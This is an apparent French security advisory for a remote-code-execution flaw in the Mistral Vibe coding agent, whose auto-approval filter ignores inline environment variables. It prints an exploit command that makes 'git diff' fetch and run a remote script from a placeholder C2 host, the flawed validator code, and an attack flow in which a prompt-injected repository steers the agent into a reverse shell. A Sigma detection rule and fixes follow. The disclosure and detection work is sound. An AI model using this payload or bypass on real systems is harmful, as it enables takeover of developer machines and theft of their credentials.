CVE-2026-87987 : exécution de code à distance via stripping des assignations de variables d'environnement dans Mistral vibe
SCORE DE MENACE HERMES & DÉTOURNEMENT DE VARIABLES D'ENVIRONNEMENT
Cible :Mistral Vibe Coding Agent (mistral-vibe) Le score CVSS v4.0 attribue à la CVE-2026-87987 la note maximale de 10.0 (Critique, CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H). Le score de menace Hermes évalue la vulnérabilité à 98 (CRITIQUE). Cette criticité découle de l'omission des nœuds d'assignation de variables d'environnement dans l'AST, permettant d'armer des hooks d'exécution sur des outils réputés sûrs comme git diff sans notification.
CVE-2026-87987: Mistral Vibe Remote Code Execution via Environment Variable Assignment StrippingVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Mistral Vibe Coding Agent documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversary embeds covert payload instructions into retrieved external data (web pages, repositories, emails) that subvert model planning when parsed by autonomous agents.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“CVE-2026-87987 weaponizes the agentic attack pattern formalized under AAP-002.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source : Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Fiabilité : HIGH)
Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“CVE-2026-87987 weaponizes the agentic attack pattern formalized under AAP-003.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source : Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Fiabilité : HIGH)
Adversary injects explicit formatting tags or role-inversion prompts directly into user input to strip system instructions and escape developer-enforced guardrails.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“CVE-2026-87987 weaponizes the agentic attack pattern formalized under AAP-001.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source : Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Fiabilité : HIGH)
1. Contexte technique & matrice des versions affectées
Section intitulée « 1. Contexte technique & matrice des versions affectées »| Paramètre | Spécification Technique | Contexte Threat Intelligence |
|---|---|---|
| Identifiant CVE | CVE-2026-87987 | Découvert par Esteban Tonglet (HiddenLayer) |
| Faiblesse CWE | CWE-15 (Contrôle externe de configuration), CWE-78 (Injection de commande) | Omission des nœuds AST variable_assignment |
| Vecteur d’attaque | Injection indirecte de prompt (AAP-002) / AAP-003 | Dépôts Git piégés, revues de code, pipelines CI/CD |
| Composant vulnérable | Processeur de commande AST dans Mistral Vibe | Ignore les variables d’environnement en ligne |
| Versions affectées | mistral-vibe < 1.1.0 | Configuration avec auto-approbation par défaut |
| Version corrigée | vibe >= 1.1.0 | Contrôle et assainissement stricts des variables d’environnement |
| Impact systémique | Exécution de code à distance totale sur la machine développeur | Prise de contrôle des identifiants et jetons d’accès |
2. Décomposition technique approfondie & cause racine
Section intitulée « 2. Décomposition technique approfondie & cause racine »A. Les variables d’environnement en ligne dans bash
Section intitulée « A. Les variables d’environnement en ligne dans bash »La syntaxe Bash autorise la définition temporaire de variables d’environnement pour l’exécution d’une commande unique :
GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=diff.external GIT_CONFIG_VALUE_0='sh -c "id; curl http://c2/sh|bash"' git diffL’AST généré par tree-sitter-bash est structuré comme suit :
command ├── variable_assignment: "GIT_CONFIG_COUNT=1" ├── variable_assignment: "GIT_CONFIG_KEY_0=diff.external" ├── variable_assignment: "GIT_CONFIG_VALUE_0='sh -c "..."'" ├── name: command_name -> "git" └── argument: word -> "diff"B. Le défaut de validation dans Mistral vibe
Section intitulée « B. Le défaut de validation dans Mistral vibe »Mistral Vibe recherchait l’exécutable en inspectant le premier enfant command_name :
# Validation vulnérable dans Mistral Vibe (< 1.1.0)def evaluate_command_authorization(command_node): cmd_name = None for child in command_node.children: if child.type == "command_name": cmd_name = child.text.decode("utf-8") break
# cmd_name vaut 'git' # Test si 'git diff' est autorisé -> Évalué comme AUTO-APPROUVÉ ! if cmd_name == "git" and is_safe_git_subcommand(command_node): return TrueLes nœuds variable_assignment n’étant ni vérifiés ni nettoyés, la commande était auto-approuvée. Bash exécutait la commande et Git déclenchait le binaire externe spécifié par diff.external.
3. Scénario d’attaque & exploitation
Section intitulée « 3. Scénario d’attaque & exploitation »sequenceDiagram autonumber actor Attaquant as Attaquant (Dépôt Git) participant Agent as Agent Mistral Vibe participant Filtre as Filtre AST Vibe participant Shell as Shell Bash Hôte participant Git as Binaire Git participant Hook as Binaire Malveillant
Attaquant->>Agent: Injection indirecte dans le code du dépôt (AAP-002) Agent->>Filtre: Émet : GIT_CONFIG_COUNT=1 ... git diff Filtre->>Filtre: Identifie command_name: 'git' avec 'diff' Note over Filtre: Ignore les variables d'environnement. AUTO-APPROUVÉ ! Filtre->>Shell: Exécute la chaîne brute Shell->>Git: Lance Git avec les variables d'environnement injectées Git->>Hook: Git diff exécute le hook diff.external Hook->>Attaquant: Reverse shell vers l'attaquant !4. Détection & chasse aux menaces
Section intitulée « 4. Détection & chasse aux menaces »Règle Sigma
Section intitulée « Règle Sigma »title: Exécution de Commande Mistral Vibe avec Variables d Environnement Injectéesid: 87987001-vibe-env-var-stripping-rce-frstatus: experimentaldescription: Détecte des commandes auto-approuvées exécutées avec des variables d'environnement suspectes sous un processus Mistral Vibe.references: - https://blog.marcfredericgomez.fr/six-contournements-de-permissions-sur-mistral-vibe/author: Hermes Codex Cyber Defense Teamlogsource: category: process_creation product: linuxdetection: selection_parent: CommandLine|contains: 'vibe' selection_env: CommandLine|re: '(GIT_CONFIG_COUNT|GIT_CONFIG_VALUE|LD_PRELOAD|PYTHONPATH|BASH_ENV)\s*=\s*' condition: selection_parent and selection_envlevel: critical5. Défense, durcissement & remédiation
Section intitulée « 5. Défense, durcissement & remédiation »- Mettre à jour Mistral vibe : déployer
vibe >= 1.1.0, qui exige une approbation utilisateur systématique dès qu’une variable d’environnement en ligne est présente. - Assainir l’environnement shell : isoler l’agent dans un conteneur et nettoyer l’environnement d’exécution de toute variable dangereuse (
LD_PRELOAD,BASH_ENV). - Surveillance AgentThreat Studio : appliquer les règles de détection comportementale d’AgentThreat Studio contre AAP-003 : Altération des paramètres d’outils.
6. Références croisées
Section intitulée « 6. Références croisées »- CVE-2026-87983 : lecture arbitraire via chemins avec guillemets
- CVE-2026-87984 : écriture arbitraire via omission des redirections shell
- CVE-2026-87985 : RCE via le quoting ANSI-C dans
find -exec - CVE-2026-87986 : injection de commande via les nœuds d’erreur syntaxique
- CVE-2026-87988 : disparité entre commandes auto-approuvées et contrôle des chemins
- AAP-001 : violation des frontières de contexte
- AAP-002 : injection indirecte de contexte
- AAP-003 : altération des paramètres d’outils